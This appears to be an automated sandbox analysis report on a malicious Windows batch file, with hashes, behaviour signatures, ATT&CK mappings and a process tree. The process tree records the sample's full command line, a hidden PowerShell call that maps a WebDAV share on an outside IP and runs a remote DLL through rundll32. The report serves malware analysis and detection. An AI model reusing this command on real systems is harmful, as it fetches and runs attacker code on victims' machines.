3123af93014a5a5c49aa6fd2118f6805041af178c222be27e30b2fd477085c19

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11/12/2024, 15:32

241211-sy44nssrdm10

09/08/2024, 21:57

06/08/2024, 13:03

06/08/2024, 13:01

06/08/2024, 12:52

06/08/2024, 12:29

06/08/2024, 12:29

06/08/2024, 12:26

Analysis

max time kernel
7s
platform
windows11-21h2_x64
resource
win11-20240802-en
resource tags

arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
submitted
06/08/2024, 12:52

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Report Analysis Logs

General

Target
1/f0f496eccc61594c53ded581b6683a77072f607ab018ec0a770a0aa7c7f45ff4.bat
Size 2KB
Sample240806-p3672stdkg
SHA256 f0f496eccc61594c53ded581b6683a77072f607ab018ec0a770a0aa7c7f45ff4
MD5 e86739a5ddb407e0c60f9521728cf418
SHA1 b6e2b6c70f3b09f7c12b4d8a83563e79a1745a23
SHA512 7d64d83aea215f0a0321d9d938c17bfcdcfa6d8f9c3aabce69067cdfffe1dbae0cc7da4425d5abfeee24cdf3efe0320df132a2c7564be80d30fc85eabad7434f
MD5 SHA1 SHA512

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1932	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1932	powershell.exe
1932	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1932	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
1080	wordpad.exe
1080	wordpad.exe
1080	wordpad.exe
1080	wordpad.exe
1080	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1552 wrote to memory of 1080	1552	cmd.exe	83
PID 1552 wrote to memory of 1080	1552	cmd.exe	83
PID 1552 wrote to memory of 1932	1552	cmd.exe	86
PID 1552 wrote to memory of 1932	1552	cmd.exe	86
PID 1932 wrote to memory of 3468	1932	powershell.exe	88
PID 1932 wrote to memory of 3468	1932	powershell.exe	88
PID 1932 wrote to memory of 4928	1932	powershell.exe	89
PID 1932 wrote to memory of 4928	1932	powershell.exe	89

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1\f0f496eccc61594c53ded581b6683a77072f607ab018ec0a770a0aa7c7f45ff4.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1552
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:1080
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\3435.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1932
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:3468
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\3435.dll,entry
    3⤵
    PID:4928

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:5056

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_bmqpaha5.kmo.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bmqpaha5.kmo.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/1932-8-0x000001BEAF100000-0x000001BEAF122000-memory.dmp

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